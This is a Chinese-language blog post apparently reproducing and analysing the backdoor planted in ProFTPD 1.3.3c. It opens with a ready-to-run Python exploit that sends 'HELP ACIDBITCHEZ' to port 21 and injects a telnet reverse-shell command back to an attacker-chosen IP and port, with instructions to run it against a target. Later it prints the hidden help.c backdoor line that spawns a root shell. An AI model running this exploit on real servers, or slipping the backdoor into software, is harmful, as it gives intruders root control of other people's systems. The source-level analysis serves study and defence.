作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Proftpd-1.3.3c含后门的软件下载我忘了在哪下载的了,百度应该是搜不到,去google试试,我记得是在类似sourceforge下载的。
PoC:
#!/usr/bin/python
#coding:utf-8
#author:k0shl
import socket
import os
def exp_socket(RHOST,s):
try:
s.connect((RHOST,21))
str = s.recv(1024)
print str
return str
except Exception,e:
print e
return 0
def exploit(RHOST,s,cmd):
try:
s.send('HELP ACIDBITCHEZ\r\n')
s.send(cmd)
print "[+]Exploit send ok!"
except Exception,e:
print e
if __name__ == '__main__':
try:
print "攻击前请使用nc绑定端口,等待shell连接"
LHOST = raw_input("input shell ip:")
LPORT = raw_input("input shell port:")
RHOST = raw_input("input target ip:")
#LHOST = '172.16.39.141'
#LPORT = '4444'
#RHOST = '172.16.39.137'
print '[+]start connect to %s'%RHOST
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket_result = exp_socket(RHOST,s)
if socket_result != 0:
if '220' in socket_result:
print '[+]Try to Exploit'
cmd = "nohup sh -c '(sleep 4184|telnet "+ LHOST + " " + LPORT +"|while : ; do sh && break; done 2>&1|telnet "+LHOST + " "+LPORT+">/dev/null 2>&1 &)' >/dev/null 2>&1\n"
exploit(RHOST,s,cmd)
s.close()
else:
print '[-]no vul!'
s.close()
else:
print '[-]connect to ip error!'
s.close()
except Exception,e:
s.close()
print e
直接运行PoC,指定好回弹shell的ip地址和端口,然后指定好要攻击的proftpd的目标地址,然后运行即可。
漏洞复现
此漏洞是由于proFTPd在HELP参数中预制了一个后门,在用户执行HELP后,help.c的某函数会对HELP命令后的参数进行一次检查,如果与后门参数相同,则会执行一个/bin/sh的shell,使连接用户获得执行权限。下面从漏洞复现到分析讲解整个过程。
首先,运行我提交的poc,并在本地用nc -l -p -vv PORT监听端口,这时候在靶机中利用ps -ef命令可以观察到shell已经被执行。
这时候观察攻击机的nc,发现我在poc中的恶意代码已经执行,将会利用shell执行权限回弹一个shell。
通过wireshark抓包分析一下整个过程。
首先,正常连接到21端口之后,会直接发送一个HELP ACIDBITCHEZ的指令,这个指令发送之后,会获得一个shell的权限,接下来。
将会推送执行反弹shell的命令写入并执行,导致获得目标系统的操作权限。
漏洞分析
问题出现在proFTPd的help.c文件中,在此之前,来看一下mod_core.c中,定义了一个结构体数组。
static cmdtable core_cmdtab[] = {
#if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP)
{ PRE_CMD, C_ANY, G_NONE, regex_filters, FALSE, FALSE, CL_NONE },
#endif
{ PRE_CMD, C_ANY, G_NONE, core_clear_fs,FALSE, FALSE, CL_NONE },
{ CMD, C_HELP, G_NONE, core_help, FALSE, FALSE, CL_INFO },
{ CMD, C_PORT, G_NONE, core_port, TRUE, FALSE, CL_MISC },
{ CMD, C_PASV, G_NONE, core_pasv, TRUE, FALSE, CL_MISC },
{ CMD, C_EPRT, G_NONE, core_eprt, TRUE, FALSE, CL_MISC },
{ CMD, C_EPSV, G_NONE, core_epsv, TRUE, FALSE, CL_MISC },
{ CMD, C_SYST, G_NONE, core_syst, FALSE, FALSE, CL_INFO },
{ CMD, C_PWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS },
{ CMD, C_XPWD, G_DIRS, core_pwd, TRUE, FALSE, CL_INFO|CL_DIRS },
{ CMD, C_CWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS },
{ CMD, C_XCWD, G_DIRS, core_cwd, TRUE, FALSE, CL_DIRS },
{ CMD, C_MKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_XMKD, G_WRITE, core_mkd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_RMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_XRMD, G_WRITE, core_rmd, TRUE, FALSE, CL_DIRS|CL_WRITE },
{ CMD, C_CDUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS },
{ CMD, C_XCUP, G_DIRS, core_cdup, TRUE, FALSE, CL_DIRS },
{ CMD, C_DELE, G_WRITE, core_dele, TRUE, FALSE, CL_WRITE },
{ CMD, C_MDTM, G_DIRS, core_mdtm, TRUE, FALSE, CL_INFO },
{ CMD, C_RNFR, G_DIRS, core_rnfr, TRUE, FALSE, CL_MISC|CL_WRITE },
{ CMD, C_RNTO, G_WRITE, core_rnto, TRUE, FALSE, CL_MISC|CL_WRITE },
{ LOG_CMD, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
{ LOG_CMD_ERR, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
{ CMD, C_SIZE, G_READ, core_size, TRUE, FALSE, CL_INFO },
{ CMD, C_QUIT, G_NONE, core_quit, FALSE, FALSE, CL_INFO },
{ LOG_CMD, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
{ LOG_CMD_ERR, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
{ CMD, C_NOOP, G_NONE, core_noop, FALSE, FALSE, CL_MISC },
{ CMD, C_FEAT, G_NONE, core_feat, FALSE, FALSE, CL_INFO },
{ CMD, C_OPTS, G_NONE, core_opts, FALSE, FALSE, CL_MISC },
{ POST_CMD, C_PASS, G_NONE, core_post_pass, FALSE, FALSE },
{ 0, NULL }
};
其中有一行值得关注
{ CMD, C_HELP, G_NONE, core_help, FALSE, FALSE, CL_INFO }
关于C_HELP的定义在ftp.h文件中。
#define C_HELP "HELP" /* Help */
这是HELP命令的一个定义,接下来程序会对cmd命令进行一次判断,如果符合C_HELP的判断,就会执行core_help函数,其中对help命令的格式定义是这样的。
pr_help_add(C_HELP, "[<sp> command]", TRUE)
command就是HELP后面要跟的命令,接下来来看一下core_help函数
MODRET core_help(cmd_rec *cmd) {
if (cmd->argc == 1) {
pr_help_add_response(cmd, NULL);
} else {
char *cp;
for (cp = cmd->argv[1]; *cp; cp++)
*cp = toupper(*cp);
if (strcasecmp(cmd->argv[1], "SITE") == 0)
return pr_module_call(&site_module, site_dispatch, cmd);
if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
return PR_HANDLED(cmd);
pr_response_add_err(R_502, _("Unknown command '%s'"), cmd->argv[1]);
return PR_ERROR(cmd);
}
return PR_HANDLED(cmd);
}
重点在于if语句中
if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
return PR_HANDLED(cmd);
这里会将cmd的参数传入pr_help_add_response函数,这个函数主要用于处理HELP函数的参数,而后门就在这个函数中,函数位于help.c中,来看一下这个函数的内容。
void pr_help_add(const char *cmd, const char *syntax, int impl) {
struct help_rec *help;
if (!cmd || !syntax)
return;
/* If no list has been allocated, create one. */
if (!help_pool) {
help_pool = make_sub_pool(permanent_pool);
pr_pool_tag(help_pool, "Help Pool");
help_list = make_array(help_pool, 0, sizeof(struct help_rec));
}
/* Make sure that the command being added isn't already in the list.
* However, if it _is_ already in the list, but it's marked as not
* implemented, _and_ the given impl flag is TRUE, then handle it
* accordingly.
*/
if (help_list->nelts > 0) {
register unsigned int i = 0;
struct help_rec *helps = help_list->elts;
for (i = 0; i < help_list->nelts; i++)
if (strcmp(helps[i].cmd, cmd) == 0) {
if (helps[i].impl == FALSE &&
impl == TRUE) {
helps[i].impl = impl;
}
return;
}
}
help = push_array(help_list);
help->cmd = pstrdup(help_pool, cmd);
help->syntax = pstrdup(help_pool, syntax);
help->impl = impl;
}
int pr_help_add_response(cmd_rec *cmd, const char *target) {
if (help_list) {
register unsigned int i;
struct help_rec *helps = help_list->elts;
char *outa[8], *outstr;
char buf[9] = {'\0'};
int col = 0;
if (!target) {
pr_response_add(R_214,
_("The following commands are recognized (* =>'s unimplemented):"));
memset(outa, '\0', sizeof(outa));
for (i = 0; i < help_list->nelts; i++) {
outstr = "";
if (helps[i].impl)
outa[col++] = (char *) helps[i].cmd;
else
outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL);
/* 8 rows */
if ((i + 1) % 8 == 0 ||
helps[i+1].cmd == NULL) {
register unsigned int j;
for (j = 0; j < 8; j++) {
if (outa[j]) {
snprintf(buf, sizeof(buf), "%-8s", outa[j]);
buf[sizeof(buf)-1] = '\0';
outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL);
} else
break;
}
if (*outstr)
pr_response_add(R_DUP, "%s", outstr);
memset(outa, '\0', sizeof(outa));
col = 0;
outstr = "";
}
}
pr_response_add(R_DUP, _("Direct comments to %s"),
cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
} else {
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
if (strcasecmp(helps[i].cmd, target) == 0) {
pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
helps[i].syntax);
return 0;
}
}
}
errno = ENOENT;
return -1;
}
errno = ENOENT;
return -1;
}
同样在这个函数的结尾部分,有一处“多出来”的if语句判断
if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
if (strcasecmp(helps[i].cmd, target) == 0) {
pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
helps[i].syntax);
return 0;
}
这里会判断target的值,而target的值就是传入的参数,如果这个参数等于ACIDBITCHEZ的时候,就会执行/bin/sh,开放shell,导致可以执行系统命令,获得系统执行权限。